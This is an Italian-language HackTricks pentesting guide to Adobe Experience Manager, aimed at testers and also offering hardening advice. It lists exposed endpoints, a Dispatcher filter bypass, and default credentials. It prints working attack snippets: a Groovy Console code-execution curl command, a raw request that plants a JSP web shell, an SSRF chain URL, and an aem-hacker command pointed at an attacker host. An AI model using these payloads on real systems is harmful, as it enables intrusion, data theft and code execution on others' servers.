AEM (Adobe Experience Manager) Pentesting
Reading time: 5 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Adobe Experience Manager (AEM, parte di Adobe Experience Cloud) è un CMS aziendale che funziona su Apache Sling/Felix (OSGi) e un Java Content Repository (JCR). Dal punto di vista di un attaccante, le istanze AEM espongono molto spesso endpoint di sviluppo pericolosi, regole del Dispatcher deboli, credenziali predefinite e un lungo elenco di CVE che vengono corretti ogni trimestre.
La checklist qui sotto si concentra sulla superficie di attacco (unauth) raggiungibile esternamente che continua a presentarsi in impegni reali (2022-2025).
1. Fingerprinting
$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1 # header added by AEM Dispatcher
X-Vary: Accept-Encoding
Altri indicatori rapidi:
/etc.clientlibs/
percorso statico presente (restituisce JS/CSS)./libs/granite/core/content/login.html
pagina di accesso con il banner “Adobe Experience Manager”.</script><!--/* CQ */-->
commento in fondo all'HTML.
2. Endpoint non autenticati ad alto valore
Percorso | Cosa ottieni | Note |
---|---|---|
/.json , /.1.json | Nodi JCR tramite DefaultGetServlet | Spesso bloccato, ma Dispatcher bypass (vedi sotto) funziona. |
/bin/querybuilder.json?path=/ | API QueryBuilder | Leak dell'albero delle pagine, percorsi interni, nomi utente. |
/system/console/status-* , /system/console/bundles | Console OSGi/Felix | 403 per impostazione predefinita; se esposto e credenziali trovate ⇒ RCE di caricamento bundle. |
/crx/packmgr/index.jsp | Package Manager | Consente pacchetti di contenuto autenticati → caricamento di payload JSP. |
/etc/groovyconsole/** | AEM Groovy Console | Se esposto → esecuzione arbitraria di Groovy / Java. |
/libs/cq/AuditlogSearchServlet.json | Log di audit | Divulgazione di informazioni. |
/libs/cq/ui/content/dumplibs.html | Dump ClientLibs | Vettore XSS. |
Trucco di bypass del Dispatcher
La maggior parte dei siti di produzione si trova dietro il Dispatcher (reverse-proxy). Le sue regole di filtro possono essere bypassate aggiungendo un'estensione statica consentita dopo un punto e virgola o una nuova riga codificata:
GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1
Una singola richiesta come sopra rivela frequentemente nodi del profilo utente con indirizzi email. P-T Partners ha pubblicato buone indicazioni su questa vulnerabilità. 【】
3. Configurazioni errate comuni (ancora attive nel 2025)
- Servlet POST anonimo –
POST /.json
con:operation=import
consente di piantare nuovi nodi JCR. Bloccare*.json
POST nel Dispatcher risolve il problema. 【】 - Profili utente leggibili da tutti – ACL predefinito concede
jcr:read
su/home/users/**/profile/*
a tutti. - Credenziali predefinite –
admin:admin
,author:author
,replication:replication
. - WCMDebugFilter abilitato ⇒ XSS riflesso tramite
?debug=layout
(CVE-2016-7882, ancora trovato su installazioni legacy 6.4). - Groovy Console esposta – esecuzione di codice remoto inviando uno script Groovy:
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
4. Vulnerabilità recenti (cadenza del service pack)
Trimestre | CVE | Affetti | Impatto |
---|---|---|---|
Dic 2024 | CVE-2024-43711 | 6.5.21 e precedenti | Validazione dell'input non corretta → Esecuzione di codice arbitrario (richiede autenticazione a bassa privilegio). 【】 |
Dic 2024 | CVE-2024-43724/26 | 6.5.21 e precedenti | DOM / XSS memorizzato in Move Page Wizard. 【】 |
Dic 2023 | CVE-2023-48452/68 | ≤ 6.5.18 | XSS basato su DOM tramite URL creato. 【】 |
Dic 2022 | CVE-2022-30683 | ≤ 6.5.13 | Difetto di design crittografico → decrittazione segreta (richiede credenziali a bassa privilegio). 【】 |
Controlla sempre il bollettino APSB corrispondente al service pack del cliente e richiedi l'ultima 6.5.22 o Cloud Service 2024.11.
5. Frammenti di sfruttamento
5.1 RCE tramite bypass del dispatcher + upload JSP
Se la scrittura anonima è possibile:
# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded
:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import
Richiedi /content/evil.jsp
– il JSP viene eseguito con l'utente del processo AEM.
5.2 SSRF a RCE (storico < 6.3)
/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console
aem_ssrf2rce.py
di aem-hacker automatizza l'intera catena. 【】
6. Strumenti
- aem-hacker – script di enumerazione tipo coltellino svizzero, supporta bypass del dispatcher, rilevamento SSRF, controlli delle credenziali predefinite e altro.
python3 aem_hacker.py -u https://target --host attacker-ip
- Content Brute-force – richiedi ricorsivamente
/_jcr_content.(json|html)
per scoprire componenti nascosti. - osgi-infect – carica un bundle OSGi malevolo tramite
/system/console/bundles
se le credenziali sono disponibili.
7. Lista di controllo per il rafforzamento (per le raccomandazioni del tuo rapporto)
- Mantieni l'istanza sulla versione cumulativa di servizio più recente (a partire da luglio 2025: 6.5.22).
- Rimuovi ruota gli account predefiniti; applica SSO/SAML.
- Rendi più rigorosi i filtri del Dispatcher – nega
;
, nuove righe codificate e*.json
o*.querybuilder.json
per utenti anonimi. - Disabilita o proteggi le console (
/system/console
,/crx/*
,/etc/groovyconsole
) con liste di autorizzazione IP. - Applica il pacchetto Anonymous Permission Hardening fornito da Adobe.
Riferimenti
- Adobe Security Bulletin APSB24-69 – “Aggiornamenti di sicurezza per Adobe Experience Manager (dic 2024)”.
- 0ang3el – strumento aem-hacker (GitHub).
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.